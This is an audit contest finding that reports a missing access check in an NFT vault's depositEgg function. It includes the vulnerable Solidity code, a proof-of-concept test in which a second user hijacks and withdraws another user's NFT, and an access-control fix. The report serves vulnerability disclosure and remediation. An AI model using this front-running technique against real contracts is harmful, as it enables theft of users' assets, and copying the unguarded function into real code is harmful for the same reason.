Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] Front-Running Attack Due to Missing Access Control in EggVault::depositEgg, Leading to NFT Theft

agmguindo

Description:

The EggVault contract exposes a critical vulnerability due to the lack of proper access control in the depositEgg() function. If a user transfers an NFT directly to the EggVault contract (e.g. via safeTransferFrom) without using the intended entrypoint EggHuntGame::depositEggToVault(), a front-running vector is opened.

A malicious actor or bot can monitor the mempool for incoming NFT transfers to the vault and immediately front-run a transaction to call EggVault::depositEgg(tokenId, attackerAddress), effectively claiming ownership of the NFT. This enables them to subsequently withdraw the NFT to their own wallet using withdrawEgg().

Since depositEgg() is declared as public and lacks any authorization modifier, any address can call it, regardless of whether they are the rightful depositor.

​
function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

Impact:

If users strictly use the EggHuntGame::depositEggToVault() function, the attack vector is avoided. However, due to human error or misunderstanding of the intended flow, users may send NFTs manually, exposing themselves to this exploit. The result is the loss of NFTs, as attackers can steal assets in transit by spoofing deposit actions.

Proof of Concept:

PoC
​
function test_auditFrontRunningAttack() public {
vm.prank(address(game));
nft.mintEgg(alice, 1);
​
vm.startPrank(alice);
​
nft.transferFrom(address(alice), address(vault), 1);
console.log("received in the Vault the NFt ID: ", nft.ownerOf(1));
assert(nft.ownerOf(1) == address(vault));
vm.stopPrank();
vm.startPrank(bob);
​
vault.depositEgg(1, address(bob));
assert(vault.eggDepositors(1) == address(bob));
vault.withdrawEgg(1);
assert(nft.ownerOf(1) == address(bob));
vm.stopPrank();
}

Recommended Mitigation:

Restrict access to the depositEgg() function by using a modifier that only allows the trusted EggHuntGame contract to invoke it. For example:

modifier onlyGame() {
require(msg.sender == address(eggHuntGame), "Unauthorized");
_;
}
​

and then add it to the Fn:

​
- function depositEgg(uint256 tokenId, address depositor) public {
+ function depositEgg(uint256 tokenId, address depositor) public onlyGame{
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}
Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!